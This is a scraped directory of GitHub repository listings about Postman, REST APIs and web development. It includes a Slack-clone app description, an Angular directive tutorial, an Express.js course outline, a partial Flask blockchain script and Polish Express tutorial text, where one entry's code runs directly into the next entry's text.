application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
831Dev/postman-talk
talk 		API Testing and Automation using Postman 0 stars 0 watchers 1 forks
caballerojavier13/postman-talk_postman-collection
collection, description, script, talk 		No description available. 0 stars 0 watchers 0 forks
tech-talks-cj13/postman-talk_postman-collection
collection, description, script, talk 		No description available. 0 stars 0 watchers 0 forks
tech-talks-cj13/postman-talk_server
description, script, server, talk 		No description available. 0 stars 0 watchers 0 forks
ZeusPerez/postman_lightning_talk
description, light, script, talk 		No description available. 0 stars 0 watchers 0 forks
arnold-miller0/Postman-Denver-Aug-2018
talk 		Postman API talk at Denver Software Testing Symposium 28 Aug 2018 0 stars 0 watchers 0 forks
KleeUT/postman-presentation
presentation, queries, talk 		Demo api and postman queries for the Automating API QA with postman talk. 0 stars 0 watchers 0 forks
markongithub/whither_wander
attempt, github, kong, system, systems, talk 		Haskell libraries to talk to Open Trip Planner and attempt the Chinese Postman Problem on transit systems. 0 stars 0 watchers 0 forks

including (11 listings) (Back to Top)

open-source-labs/Swell
developer, developers, development, enable, enables, endpoint, endpoints, including, served, source, streaming, technologies, test, tool 		Swell: API development tool that enables developers to test endpoints served over streaming technologies including Server-Sent Events (SSE), WebSockets, HTTP2, GraphQL, and gRPC. 0 stars 0 watchers 19 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
TakuCoder/postman
desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool 		Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage 3 stars 3 watchers 2 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
johnddias/postmancollectionvropsexamples
collection, example, examples, including, sample 		A sample of vRealize Operations REST APIs including the CaSA APIs for cluster management 0 stars 0 watchers 2 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
Autodesk-Forge/forge-bim360.costmanagement.api-postman.collection
collection, cost, forge, including 		Postman collection including the BIM 360 Cost Management API List and Tutorial 0 stars 0 watchers 0 forks
Heintzdm/SCM_API_Library
data, dump, including, library, progress, sets 		A work in progress library of SpringCM API calls in Postman. This JSON is data dump including Collections, Globals( w/out keys/ids), and Header Presets 0 stars 0 watchers 0 forks
hwu39/Simple-REST-APIs
action, fundamentals, including, local, machine, test, tested 		This is a simple test to view the fundamentals of RESTful APIs in interaction with MongoDB. The RESTful APIs (including GET, POST, PUT, PATCH, DELETE) can be tested through Postman on a local machine. 0 stars 0 watchers 0 forks
project-wildfyre/FHIRTesting
collection, including, postman collection, script, scripts 		Collection of scripts including postman collection 0 stars 0 watchers 0 forks
riesdn/CapstoneBackEnd
back end, including, test, tested 		The back end code for the .Net Spring Bootcamp Capstone project including .Net C# with Entity Framework, SQL, and JSON, tested through Postman. 0 stars 0 watchers 0 forks

index (11 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
AnCh7/CityIndex.TradingAPI.Postman
city, docs, http, index 		Postman Collection for Trading Api by CityIndex - http://docs.labs.cityindex.com 1 stars 1 watchers 0 forks
kpraneeth3456/JWT-Authentication
account, application, client, data, database, dependencies, download, email, error, exchange, header, index, install, link, mail, match, matched, message, node, party, register, rest, running, script, security, send, sends, server, to do, token, tokens, user 		Project Title: JWT Authentication Description: This project is a basic Authorization and Authentication which exchanges JSON web tokens between the client and the server for more security. Execution: -Clone or download the repo from the GitHub link -npm install (to download the dependencies) -node index.js (To get the application running) Working: -User has to enter his email and password to register his account.(Use any third-party rest-client like Postman on port 3000) -If the email already exists in the database it sends an error message and if the email does not exist it saves to the database. -If the user is signed up then he can go ahead and Sign-in with same username and password. -If the credentials are matched then a JSON web token will be sent to the client in the header. -If the username and password do not match then it sends back an error message. 1 stars 1 watchers 0 forks
ddemott/spring-restful-web-services-crud-example
crud, example, function, functions, html, index, java, projects, rest, restful, service, services, spring, test, tested, to do 		DESCRIPTION: This project represents a base Spring 4 legacy project for Spring MVC / REST services. The REST services are handled / tested by index.html. This is done so you can see an example of how to call all of the CRUD functions from a web page. Most projects do not make the calls from a web page but from POSTMAN or even from a test function which does you no good if you are trying to figure out how to do call from a webpage. Dependencies ------------ Maven 3.1 Java 8 Spring 4 Spring MVC 4 Jackson Databind javax.servlet-api 3.1 0 stars 0 watchers 1 forks
digitaleo/api-tutorials
collection, collections, digital, index, tutorial, tutorials 		This repository indexes some Postman collections to help you take in hand Digitaleo APIs 0 stars 0 watchers 0 forks
domains-index/postman_collection
collection, description, index, script 		No description available. 0 stars 0 watchers 0 forks
anjalee-narenthiren/PointcloudBug
access, cloud, file, html, index, variable 		Run the index.html file. You will have to use postman to get an access key and update the accessToken variable on line 33 of main.js. 0 stars 0 watchers 0 forks
djdagorne/moviedex-api
current, index, movie, search 		indexed movie searcher, currently made for postman lookups with a UUID 0 stars 0 watchers 0 forks
Gyanachand1/Blockchain
action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user 		# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią 0 stars 0 watchers 0 forks
lizvane3/04-spotiapp
active, component, connection, home, image, index, message, messages, release, route, router, search, searches, track, usar, util 		Spotify: Routes (using it good and usedHash) routerLinkActive = "active” - routerLink="home”. HTTP Request. Spotify connection with postman - Home showing new releases - Search by artist - Centralizar peticiones hacia Spotify (one request to get releases and searches) - Creating pipe to no image - Reutilizar componente tarjeta para usar en index y busqueda con Input - Foundation loading - Route to each artist - Show top tracks and preview - Use safe url with pipe domSeguro. - Insert preview Spotify widget - Error messages in screen with Input 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek 